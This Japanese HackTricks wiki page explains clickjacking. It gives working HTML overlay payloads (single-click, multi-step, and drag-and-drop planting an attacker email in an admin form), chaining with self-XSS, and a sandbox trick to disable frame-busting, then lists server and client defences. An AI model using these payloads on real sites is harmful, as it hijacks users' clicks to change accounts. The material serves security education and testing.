13 KiB
Clickjacking
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Clickjackingとは
Clickjacking攻撃では、ユーザーが見えないか、異なる要素として偽装されたウェブページ上の要素をクリックするように騙されます。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
フォームの事前入力トリック
時々、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにすることができます。
ドラッグ&ドロップでフォームに入力する
ユーザーにフォームに入力してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーにドラッグ&ドロップして、この例のように制御されたデータを書き込むものをドラッグ&ドロップすることができます。
基本的なペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
マルチステップペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
ドラッグ&ドロップ + クリックペイロード
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
XSSをトリガーするためにユーザーがクリックする必要があるXSS攻撃を特定した場合、ページがClickjackingに対して脆弱であるとき、ユーザーをだましてボタン/リンクをクリックさせることができます。
例:
アカウントの一部のプライベート詳細(あなただけが設定および読み取り可能)にself XSSを見つけました。これらの詳細を設定するためのフォームがClickjackingに対して脆弱であり、GETパラメータでフォームを事前に埋めることができます。
__攻撃者は、そのページに事前にXSSペイロードを埋め込んだフォームを事前に埋め込んだClickjacking攻撃を準備し、ユーザーをフォームを送信させるようにだましてしまう可能性があります。そのため、フォームが送信されると値が変更され、ユーザーがXSSを実行します。
Clickjackingの緩和戦略
クライアントサイドの防御策
クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
- すべてのフレームを表示する。
- 不可視フレームでのクリックを防止する。
- Clickjackingの試みを検出してユーザーに警告する。
ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:
- ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
- HTML5 iframe
sandbox
属性: 攻撃者は、allow-forms
またはallow-scripts
の値を設定し、allow-top-navigation
を含まないsandbox
属性を設定することで、フレームブレーキングスクリプトを無効化することができます。これにより、iframeはトップウィンドウかどうかを検証しなくなります。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
サーバーサイドの防御
X-Frame-Options
X-Frame-Options
HTTPレスポンスヘッダーは、<frame>
または<iframe>
内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます:
X-Frame-Options: deny
- どのドメインもコンテンツをフレーム化できません。X-Frame-Options: sameorigin
- 現在のサイトのみがコンテンツをフレーム化できます。X-Frame-Options: allow-from https://trusted.com
- 指定された 'uri' のみがページをフレーム化できます。- ブラウザがこのディレクティブをサポートしていない場合は機能しない可能性があるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好むことがあります。
Content Security Policy (CSP)のframe-ancestorsディレクティブ
CSP内の**frame-ancestors
ディレクティブ**はClickjacking保護の推奨方法です:
frame-ancestors 'none'
-X-Frame-Options: deny
に類似。frame-ancestors 'self'
-X-Frame-Options: sameorigin
に類似。frame-ancestors trusted.com
-X-Frame-Options: allow-from
に類似。
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します:
Content-Security-Policy: frame-ancestors 'self';
詳細や複雑な例は、frame-ancestors CSPドキュメントおよびMozillaのCSP frame-ancestorsドキュメントで見つけることができます。
Content Security Policy (CSP)のchild-src
およびframe-src
**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。
frame-src
ディレクティブ
- フレームの有効なソースを定義します。
default-src
ディレクティブより具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
このポリシーでは、同じオリジン(self)およびhttps://trusted-website.comからのフレームが許可されています。
child-src
ディレクティブ
- CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するためのものです。
- frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
このポリシーでは、同じオリジン(self)およびhttps://trusted-website.comからのフレームとワーカーが許可されています。
使用上の注意:
- 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
- フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
- 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。
JavaScriptによるフレーム破壊スクリプト
完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例:
if (top !== self) {
top.location = self.location;
}
Anti-CSRF トークンの利用
- トークンの検証: Webアプリケーションで反CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけます
- **💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。